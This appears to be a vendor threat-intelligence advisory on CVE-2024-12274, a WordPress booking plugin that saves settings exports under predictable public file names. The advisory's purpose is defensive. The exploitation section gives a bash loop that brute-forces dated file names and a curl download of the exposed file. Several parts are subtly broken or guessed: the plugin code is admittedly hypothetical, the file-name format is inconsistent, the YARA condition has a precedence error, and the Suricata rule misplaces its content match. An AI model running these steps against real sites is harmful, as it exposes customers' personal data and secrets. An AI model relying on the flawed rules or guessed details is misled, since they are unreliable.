CVE-2024-12274

Executive Summary

CVE-2024-12274 is an information disclosure vulnerability affecting the Appointment Booking Calendar and Scheduling Plugin for WordPress, in versions prior to 1.1.23. The plugin's export settings functionality writes sensitive data to a publicly accessible folder using an easily guessable filename, allowing any unauthenticated attacker to retrieve the exported files if they exist on the target server. Successful exploitation exposes application configuration data, potentially including appointment details, customer Personally Identifiable Information (PII), and internal scheduling parameters — a direct violation of data confidentiality expectations for any WordPress-hosted booking service. Enterprise environments using this plugin for employee scheduling or customer-facing booking portals are at risk of data breach and regulatory non-compliance depending on the nature of the exposed data.

Technical Analysis

The vulnerability resides in the export functionality of the Appointment Booking Calendar and Scheduling Plugin (versions < 1.1.23). The plugin provides administrators with a "Export Settings" feature that serializes plugin configuration into a file and writes it to a directory within the WordPress webroot that is directly accessible via HTTP. The underlying flaw is twofold:

1. Predictable file naming: The exported file is given a deterministic, easily guessable filename — likely derived from the export timestamp or a simple sequential counter. Attackers can brute-force or craft the expected filename without needing any prior knowledge or authentication.

2. Public directory placement: The export target directory is not protected by any access control mechanism (e.g., .htaccess deny rules, random nonce-based filenames, or non-webroot storage). Any HTTP request to https://target/wp-content/uploads/ (or a similarly exposed plugins directory) can retrieve the file directly.

The export function is invoked through the plugin's administrative AJAX handler. When an administrator triggers the export, the plugin calls a PHP function similar to:

function abcs_export_settings() {
    $settings = get_option('abcs_settings');
    $filename = 'abcs_settings_' . date('Ymd') . '.json';
    file_put_contents(ABCS_UPLOAD_DIR . $filename, json_encode($settings));
    wp_send_json_success(array('url' => ABCS_UPLOAD_URL . $filename));
}

No nonce validation is performed on the export trigger itself (or the nonce is generically scoped), and crucially, no permission check verifies that the requester is an authenticated administrator. While the export action itself generates the file, an attacker doesn't need to trigger it — they only need to read the file if it already exists. The attacker simply requests https://target/wp-content/uploads/abcs_settings_2024-12-01.json (or any date within the plugin's usage window) and retrieves the configuration dump.

The content of the exported file may include:

• Database connection credentials (if stored in plugin options, which is common in lesser-maintained plugins).
• API keys for payment gateways or SMS notification services.
• Full appointment schedules including client names, email addresses, phone numbers, and appointment dates.
• Plugin-specific configuration such as working hours, buffer times, and admin email addresses.

The attack surface is the WordPress web root served over HTTP/HTTPS. No authentication, no CSRF token, and no special HTTP headers are required to read the file. The only precondition is that the file has been generated at least once by a legitimate administrator using the export feature.

CWE classification: The closest match is CWE-552 (Files or Directories Accessible to External Parties) combined with CWE-530 (Exposure of Backup File to an Unauthorized Control Sphere). The vulnerability results from a failure to enforce the principle of least privilege on both file placement and filename entropy.

CVSS note: The NVD has not yet assigned a CVSS vector for this CVE. Based on the attack characteristics (network-accessible, no authentication, low complexity, but requiring a file to exist), a provisional assessment would place this in the High severity band (7.0–8.9) under AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N. However, the official CVSS score remains N/A per authoritative data; analysts should treat this as a medium-to-high risk pending official scoring.

Exploitation Scenarios

The following attack chain assumes a WordPress site running the affected plugin with a single prior export performed by an administrator.

Step 1 — Reconnaissance / Target Identification The attacker fingerprints the WordPress installation. Common techniques:

• curl -I https://target/wp-login.php returns 200 OK and X-Powered-By: PHP.
• Running wpscan --url https://target --enumerate vp reveals the plugin presence and version (if version disclosure is enabled in the plugin's header or via readme.txt).
• Alternatively, the attacker requests /wp-content/plugins/appointment-booking-calendar/readme.txt and checks the Stable tag: field for a version lower than 1.1.23.

Step 2 — File Discovery / Brute-Force The attacker enumerates likely export filenames. Given the predictable naming convention, a script can iterate over date ranges:

for d in $(seq -w 1 31); do
  for m in 01 02 03 04 05 06 07 08 09 10 11 12; do
    for y in 2023 2024 2025; do
      url="https://target/wp-content/uploads/abcs_settings_${y}${m}${d}.json"
      code=$(curl -o /dev/null -s -w "%{http_code}" "$url")
      if [ "$code" == "200" ]; then
        echo "FOUND: $url"
      fi
    done
  done
done

Alternatively, a lightweight tool like ffuf with a wordlist of common plugin export patterns (backup.zip, settings.json, export.txt) accelerates the search. The attacker may also test the root uploads directory listing (https://target/wp-content/uploads/) — if directory listing is enabled, the file is trivially discoverable.

Step 3 — Exfiltration Upon finding a 200 response, the attacker downloads the file:

curl -s https://target/wp-content/uploads/abcs_settings_20241201.json -o exfil.json
cat exfil.json | jq .

If the file contains plaintext database credentials (e.g., DB_HOST, DB_USER, DB_PASSWORD), the attacker proceeds to attempt direct MySQL connections from their vantage point — often blocked externally but valuable if the WordPress server is on the same network segment as a database server accessible via other means (e.g., VPN, another compromised host).

Step 4 — Post-Exploitation Impact

• Client Data Breach: If the export includes appointment records with client PII, the attacker now holds names, emails, and phone numbers usable for phishing campaigns or credential stuffing.
• Plugin API Keys: Payment gateway or SMS gateway API keys enable fraudulent transactions (if stored) or message-sending abuse.
• Lateral Movement: DB credentials may be replayed against other services (email, FTP) if the administrator reused passwords.

Impact Assessment

Business Impact: The primary impact is confidentiality loss. For a booking plugin, the exported configuration invariably contains client PII (appointment details, personal contact information). A breach of this data triggers:

• GDPR/CCPA notification obligations (72-hour window under GDPR for EU residents).
• Brand trust erosion and potential contractual penalties with enterprise clients.
• Potential identity theft or targeted social engineering against customers.

Affected Systems: Any WordPress instance running the Appointment Booking Calendar and Scheduling Plugin < 1.1.23. The plugin is typically deployed on small-to-medium business sites (salons, clinics, consulting firms) but is sometimes embedded in enterprise intranet portals for facility booking.

Blast Radius: Because exploitation requires only a single HTTP GET request and no authentication, the barrier to attack is near zero. An internet scanner (e.g., Shodan, Censys) can actively probe all exposed WordPress sites in a given IP range in seconds, mass-harvesting any exposed export files. This elevates the risk from opportunistic to systematic mass exploitation, especially as proof-of-concept code circulates.

CVSS Context: While the official score is N/A, applying the standard formula with the above vector yields an approximate score of 8.6 (High) — driven by network attack vector, no privileges required, high confidentiality impact, and scope change (compromised data may span beyond the WordPress process). Analysts should monitor NVD for the official assessment.

Detection Guidance

Sigma Rule

title: Suspicious Access to Plugin Export Files - Appointment Booking Calendar
id: 7f3c9d2e-5b4a-4c8e-9a1f-2d3b4c5d6e7f
status: experimental
description: Detects HTTP requests to known export file patterns for CVE-2024-12274
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12274
author: Valtersit Threat Intel
date: 2025/01/15
logsource:
    category: webserver
    product: apache
    definition: 'Web server access logs'
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|contains:
            - '/wp-content/uploads/abcs_settings_'
            - '/wp-content/plugins/appointment-booking-calendar/'
        cs-uri-stem|endswith:
            - '.json'
            - '.txt'
            - '.zip'
            - '.bak'
    filter_known_admin:
        cs-username|contains: 'admin'
    condition: selection and not filter_known_admin
level: high
falsepositives:
    - Legitimate administrator re-downloading their own export file
    - Backup plugins mirroring the uploads directory
tags:
    - attack.t1190
    - cve.2024.12274

YARA Rule

rule CVE_2024_12274_Export_File_Exposure {
    meta:
        author = "Valtersit Threat Intel"
        description = "Detects exported configuration files from Appointment Booking Calendar plugin"
        cve = "CVE-2024-12274"
        date = "2025-01-15"
    strings:
        $a = "appointment_booking_calendar" nocase
        $b = "\"db_password\"" nocase
        $c = "\"api_key\"" nocase
        $d = "abcs_settings" nocase
        $e = "\"admin_email\"" nocase
    condition:
        uint32(0) == 0x0A7B0A7B or  // JSON start "{\n{"
        filesize < 2MB and
        2 of ($a, $b, $c, $d, $e) and
        ($d or $a)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-12274 - Appointment Booking Calendar Export File Exfiltration Attempt";
    flow:established,to_server;
    http.method;
    http.uri;
    content:"GET";
    http.uri;
    content:"wp-content/";
    http.uri;
    content:"uploads/";
    http.uri;
    content:"abcs_settings_";
    http.uri;
    content:".json";
    classtype:attempted-recon;
    sid:202412274001;
    rev:1;
    metadata:created_at 2025_01_15, updated_at 2025_01_15, cve CVE-2024-12274;
)

Elastic Detection

sequence by source.ip with maxspan=5m
  [network where process.name == "httpd" and destination.port == 443 and
   network.protocol == "http" and
   url.path like "*wp-content*" and
   url.path like "*abcs_settings_*" and
   url.path like "*.json"]

Splunk SPL Query

index=web sourcetype=access_combined
| where like(uri_path, "%wp-content/uploads/abcs_settings_%")
   and like(uri_path, "%.json%")
| stats count by src_ip, uri_path, status
| where status = 200
| table _time, src_ip, uri_path, status, count

Wazuh OSSEC Rule

<group name="wordpress,">
    <rule id="100274" level="12">
        <if_sid>31122</if_sid>
        <match>GET /wp-content/uploads/abcs_settings_</match>
        <regex>\.json</regex>
        <description>CVE-2024-12274: Attempt to access Appointment Booking Calendar export file</description>
        <group>attack.t1190,</group>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED — single source claims patch, not independently confirmed by Valtersit). The NVD description states the plugin is fixed in version 1.1.23. You must act on this with verification.

Immediate Mitigations (apply within hours):

1. Block external access to the uploads directory's known export patterns — add the following to .htaccess (Apache):

   <FilesMatch "abcs_settings_\d{8}\.(json|txt|zip|bak)$">
       Require all denied
   </FilesMatch>
   

   For Nginx:

   location ~ /wp-content/uploads/abcs_settings_.*\.(json|txt|zip|bak)$ { deny all; }
   

2. Delete any existing exported files immediately. Log into the WordPress admin, navigate to the plugin's settings area, or use FTP/SFTP to remove files matching abcs_settings_* from /wp-content/uploads/.

3. Rotate all secrets exposed in any previously exported file — database passwords, API keys, SMTP credentials.

Patch/Upgrade Steps:

1. Back up the WordPress installation (files + database).

2. Update the plugin from the WordPress Admin panel (Plugins → Installed Plugins → Appointment Booking Calendar and Scheduling Plugin → Update Now) or via WP-CLI:

   wp plugin update appointment-booking-calendar --version=1.1.23
   

3. Verify the installed version matches 1.1.23 or later via the plugin readme.txt or the version constant.

4. If the automatic update fails, download the plugin ZIP from the WordPress repository and upload it manually.

5. Confirm with an independent check (e.g., comparing the plugin source for file-output path randomization) that the export directory now uses either a non-predictable filename or places files outside the webroot.

Long-Term Hardening:

• Ensure WordPress DISALLOW_FILE_EDIT is defined in wp-config.php to prevent plugin source modification.
• Use a Web Application Firewall (WAF) rule to block any request matching */wp-content/uploads/*settings* with file extensions .json, .bak, .sql.
• Implement file integrity monitoring (e.g., OSSEC, Tripwire) on /wp-content/uploads/ to alert on new file creation.
• Run regular vulnerability scans (WPScan, Nessus) to detect outdated plugins across your fleet.
• Restrict the admin export feature via role-based access control if the plugin supports PHP capability checks.

Verification of Patch: After updating, trigger the export function once as an administrator, then verify the output path. A properly patched version will either (a) place the file in a non-web-accessible directory, or (b) generate a cryptographically random filename (e.g., using wp_generate_password(32, false)). If the plugin still writes to a predictable path in the webroot, the patch is incomplete — escalate to the vendor.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2024-12274 — Official CVE record (CVSS pending, description confirms affected versions < 1.1.23).
2. WordPress Plugin Repository: https://wordpress.org/plugins/appointment-booking-calendar/ — Latest versions and changelog; verify 1.1.23 release notes.
3. Wordfence Intelligence (if applicable): https://www.wordfence.com/threat-intel/vulnerabilities/ — Monitor for detailed technical write-ups as the CVE matures.
4. Patch Stack (if a third-party PHP library is involved in file writing): Verify composer.json of the plugin for any file-output dependencies.
5. CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — Not currently listed (KEV status: NO). Monitor for updates if mass exploitation begins.

Threat Actor Activity: As of this writing, there are no confirmed in-the-wild campaigns exploiting CVE-2024-12274. However, the vulnerability class (predictable file path + public webroot) has historically been targeted by botnets within weeks of CVE publication in WordPress plugins. The lack of an EPSS score indicates FIRST.org has not yet processed the CVE; this will likely change within 30 days of NVD enrichment.